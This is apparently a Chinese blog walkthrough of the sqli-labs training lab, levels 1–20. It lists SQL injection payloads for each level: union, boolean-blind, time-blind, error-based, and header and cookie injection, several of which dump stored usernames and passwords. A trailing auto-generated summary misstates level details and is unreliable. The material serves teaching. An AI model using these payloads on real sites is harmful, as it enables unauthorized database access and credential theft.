sqli-labs通关详解(1-20关)

第一关

1.首先判断闭合方式

在我之前发布的文章中有详细的sql注入判断闭合的方法和原理,参考《sql注入实验原理》

在1-6关,我们可以通过在参数后面加\的方法判断闭合

\后面的符号就是闭合符号,由此可见第一关的闭合方式为'闭合

2.判断字段数

1' order by 3--+ //判断出页面中存在三个字段

当我们输入?id=1' order by 4--+时页面显示没有第4字段,由此判断字段数为3.

3.判断回显位

因为有三个字段,所以我们使用命令

-1' union select 1,2,3--+ //判断回显点

判断出第2,3字段的内容回显在页面中

4.爆数据库名

我们可以将2或者3更改为database()来使页面回显出数据库名

使用命令:

-1' union select 1,2,database()--+ //得到数据库名

得到数据库名为security

5.爆表名

使用命令

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名

发现该数据库下存在这四个表

6.爆字段名

我们选择爆users表中的字段名,看看users表都有什么字段

使用命令

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名

发现users表中的所有字段,接下来我们看看username和password的内容

7.爆字段中的内容

使用命令

-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

至此,第一关我们就结束啦

所用到的代码如下

1' order by 3--+ //判断出页面中存在三个字段
-1' union select 1,2,3--+ //判断回显点
-1' union select 1,2,database()--+ //得到数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

第二关

和第一关一样,是数字型注入

直接上代码

1 order by 3--+ //判断出页面中存在三个字段
-1 union select 1,2,3--+ //判断回显点
-1 union select 1,2,database()--+ //得到数据库名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1 union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

第三关

和第一关一样,只不过是')闭合

第四关

和第一关一样,只不过是")闭合

第五关

这关发现没有回显位,这关可以使用布尔盲注,时间盲注和报错注入

对于这关大部分博主使用的是布尔盲注,布尔盲注和时间盲注确实很好用,但是需要一个一个字母的试,比较消耗耐心,通常配合用脚本和工具。这关我选择使用报错注入。

需要用到函数updatexml()或者extractvalue()

1.爆数据库名

使用命令

1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+

使用命令

1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+ //得到表名

由此可见,对于这种情况,报错注入比布尔盲注更方便,不过所有注入方式都要会

这关的布尔盲注和报错注入的代码如下

‘闭合 布尔盲注
-1' or length(database())=8--+
-1' or substr((database()),1,8)='security'--+
-1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29--+
-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,29)='emails,referers,uagents,users'--+
-1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'--+
-1' or substr((select group_concat(id,email_id) from emails),1,1)='1'--+
                          报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))--+

第六关

"闭合 布尔盲注,报错注入

第七关

'))闭合 布尔盲注

判断命令

?id=1')) and 1=1--+ // 页面回显正常
?id=1')) and 1=2--+ // 页面回显错误

第八关

'闭合 布尔盲注

使用的注入语句和第五关的布尔盲注一样

第九关

发现这关不管输入什么都回显一样的页面,我们尝试使用时间盲注

使用命令

1' and sleep(5)--+

发现页面成功加载了5秒

接下来使用命令

1' and sleep(5)--+
1' and if((length(database())=8),sleep(5),1)--+
1' and if(substr(database(),1,1)='s',sleep(5),1)--+
1' and if(substr(database(),1,8)='security',sleep(5),1)--+
1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)--+
1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i',sleep(5),1)--+
1' and if(substr((select group_concat(id,email_id) from emails),1,1)='1',sleep(5),1)--+

逐一判断数据库名,表名,字段名,内容

手工使用时间盲注很浪费时间,我们只需要懂得如何使用时间盲注以及原理就好,剩下的就用sqlmap跑了

第十关

”闭合 时间盲注

使用命令和第九关一样,只需要把'改为"就行了

第十一关

这是一个登录页面,使用的是POST请求 '闭合

使用万能密码登录成功

接下来判断回显点

后面使用代码

1' or 1=1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(username,password) from users#

第十二关

通过命令

1") or 1=1#

页面回显登录成功,说明是")闭合

剩下的命令就和第十一关一样了,只需把'改为"))

第十三关

使用命令

1') or 1=1# //登录成功
1') or 1=2# //登录失败

第十三关和第十二关不一样的是:

第十二关会回显出登录名和密码,有回显点

第十三关只有登录成功和登录失败

由此我们可以尝试使用 报错注入和盲注

首先使用报错注入

1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#

发现页面成功回显出数据库名,说明使用报错注入是可行的

布尔盲注和报错注入的命令如下

布尔盲注:
1') or 1=1#
1') or length(database())=8#
1') or substr((database()),1,8)='security'#
1') or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1') or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1') or substr((select group_concat(id,email_id) from emails),1,1)='1'#

报错注入:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#

第十四关

和第十三关一样 "闭合 无回显 布尔盲注 报错注入

判断闭合命令

1" or 1=1#

发现登录成功,说明是"闭合

使用命令

1" and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#

第十四关可以使用布尔盲注和报错注入,和第十三关一样,只需将闭合方式改成"闭合

第十五关

这关就不能使用报错注入了,使用盲注

通过命令

1' or 1=1#

发现登录成功,闭合方式为’闭合

尝试是否可以使用报错注入,命令为

1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#

发现触发不了报错,只能老老实实用盲注了,命令如下

1' or 1=1#
1' or length(database())=8#
1' or substr((database()),1,8)='security'#
1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1' or substr((select group_concat(id,email_id) from emails),1,1)='1'#

第十六关

判断闭合方式,命令如下

1") or 1=1#

发现登录成功,由此发现闭合方式为")闭合

剩下的注入语句就和第十五关一样了,只需改为")闭合

第十七关

发现是密码重置页面

判断闭合方式为'闭合

user name:admin

new password:1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#

尝试报错注入

发现页面成功回显出数据库版本号

使用如下命令

1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#

第十八关

是个登录页面,我们登录admin试试

发现页面回显出user agent

尝试使用user agent注入

在user agent输入

1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '

发现页面成功回显出数据库名

接下来就可以使用命令

1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e)) or '

第十九关

登录

发现页面回显出referer,尝试使用referer注入

这关和第十八关一样,只需将注入语句写到referer中就行啦

第二十关

登录后发现页面回显出了我们的cookie

那我们就尝试cookie注入

使用语句

uname=1' union select 1,2,3--+

发现页面成功回显

接下来就可以使用如下语句了

uname=1' union select 1,2,3--+
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

至此,我们1-20关的基础篇就通关啦

前二十关涉及到的注入方式有:布尔盲注,时间盲注,报错注入,user agent注入,referer注入,cookie注入。

所有语句如下

第一关:'闭合
1' order by 3--+ //判断出页面中存在三个字段
-1' union select 1,2,3--+ //判断回显点
-1' union select 1,2,database()--+ //得到数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

第二关:数字型

第三关:')

第四关:")

第五关:‘闭合 布尔盲注
-1' or length(database())=8--+
-1' or substr((database()),1,8)='security'--+
-1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29--+
-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,29)='emails,referers,uagents,users'--+
-1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'--+
-1' or substr((select group_concat(id,email_id) from emails),1,1)='1'--+
                          报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))--+


第六关:"闭合 布尔盲注

第七关:'))闭合 布尔盲注
?id=1')) and 1=1--+ // 页面回显正常
?id=1')) and 1=2--+ // 页面回显错误

第八关:'闭合 布尔盲注

第九关:'闭合 时间盲注
1' and sleep(5)--+
1' and if((length(database())=8),sleep(5),1)--+
1' and if(substr(database(),1,1)='s',sleep(5),1)--+
1' and if(substr(database(),1,8)='security',sleep(5),1)--+
1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)--+
1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i',sleep(5),1)--+
1' and if(substr((select group_concat(id,email_id) from emails),1,1)='1',sleep(5),1)--+

第十关:"闭合 时间盲注

第十一关: 登录界面  '闭合 POST请求
1' or 1=1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(username,password) from users#

第十二关:登录界面 ")闭合
1") or 1=1#

第十三关:登录界面 ')闭合 无回显 布尔盲注 报错注入
布尔盲注:
1') or 1=1#
1') or length(database())=8#
1') or substr((database()),1,8)='security'#
1') or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1') or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1') or substr((select group_concat(id,email_id) from emails),1,1)='1'#

报错注入:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#



第十四关:登录界面 "闭合 无回显 布尔盲注 报错注入
1" or 1=1#

第十五关:登录界面 '闭合 无回显 布尔盲注
1' or 1=1#
1' or length(database())=8#
1' or substr((database()),1,8)='security'#
1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1' or substr((select group_concat(id,email_id) from emails),1,1)='1'#


第十六关:登录界面 ")闭合 无回显 布尔盲注
1") or 1=1#

第十七关:密码重置页面 报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#

第十八关:user-agent报错注入
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e)) or '

第十九关: referer报错注入
注入语句和第十八关一样

第二十关:cookie注入
uname=1' union select 1,2,3--+
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

有需要更改的地方欢迎大家指出

感谢观看

  • 41
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
sqli-labs是一个SQL注入学习平台,通过完成一系列的卡来学习和实践SQL注入漏洞的利用方法。根据引用的描述,首先需要在浏览器中打开"http://127.0.0.1/sqli-labs/",访问平台的首页。然后点击"Setup/reset Database"按钮以创建数据库,创建表并填充数据。 完成了上述设置后,可以开始挑战卡。 sqli-labs通关1:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关2:根据引用提供的内容,可以在账户密码后面加入"1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#"来进行注入。这样就能够获取到users表中的用户名和密码的组合。 sqli-labs通关3通关3的方法没有在提供的引用中找到相信息。 sqli-labs通关4:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关5通关5的方法没有在提供的引用中找到相信息。 请注意,为了安全起见,在进行实际操作时,请确保仅在合法和授权的环境中进行,并遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [详细sqli-labs(1-65)通关讲解](https://blog.csdn.net/dreamthe/article/details/123795302)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Sqli-labs通关全解---Sqli-lab--1](https://blog.csdn.net/cyynid/article/details/128629421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值